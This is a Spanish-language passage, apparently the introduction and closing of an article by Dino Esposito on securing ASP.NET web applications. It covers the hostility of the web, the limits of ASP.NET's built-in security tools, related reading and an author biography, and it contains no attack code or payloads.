En mi opinión, nadie puede poner en duda todavía que el Web es probablemente el más hostil de todos los entornos de tiempo de ejecución. Esto se debe al hecho de que cualquiera puede tener acceso a un sitio Web e intentar pasar datos tanto lícitos como perjudiciales. Sin embargo, la duda es si en realidad tiene sentido crear una aplicación Web que no acepte entradas de usuario.

Admitámoslo, por muy eficaz que sea el servidor de seguridad y aunque se apliquen con frecuencia las revisiones disponibles, si se ejecuta una aplicación Web intrínsecamente vulnerable, antes o después los piratas informáticos podrán llegar al mismo centro de los sistemas por la puerta principal, el puerto 80.

Las aplicaciones ASP.NET no resultan más vulnerables ni más seguras que otras aplicaciones Web. La seguridad y la vulnerabilidad dependen de las prácticas de codificación, la experiencia en el campo y el trabajo en equipo. Ninguna aplicación es segura si la red no lo es; de modo similar, aunque la red sea segura y esté correctamente administrada, los atacantes siempre conseguirán abrirse camino si se quebranta la seguridad de la aplicación.

El aspecto más positivo de ASP.NET radica en que proporciona una serie de útiles herramientas que permiten subir el listón de la seguridad hasta un nivel aceptable con sólo unos cuantos clics. Aunque es necesario decir que no es un nivel suficiente. No confíe exclusivamente en las soluciones integradas de ASP.NET, pero tampoco se olvide de ellas. Y aprenda todo cuanto pueda acerca de los ataques más habituales.

En este artículo se proporciona una lista de las características integradas, así como una introducción a los ataques y las posibles defensas. Las técnicas para detectar los ataques que ya se están ejecutando son otra historia y quizá requieren que se les dedique otro artículo.

Recursos relacionados

Writing Secure Code por Michael Howard y David LeBlanc

TechNet Magazine, Theft On The Web: Prevent Session Hijacking

Acerca del autor   Dino Esposito vive en Italia. Es profesor y asesor de Wintellect. Autor de Programming ASP.NET y del nuevo Introducing ASP.NET 2.0 (ambos de Microsoft Press), pasa la mayor parte de su tiempo impartiendo clases sobre ASP.NET y ADO.NET y dando conferencias. Para conocer el "blog" de Dino visite http://weblogs.asp.net/despos.

Mostrar: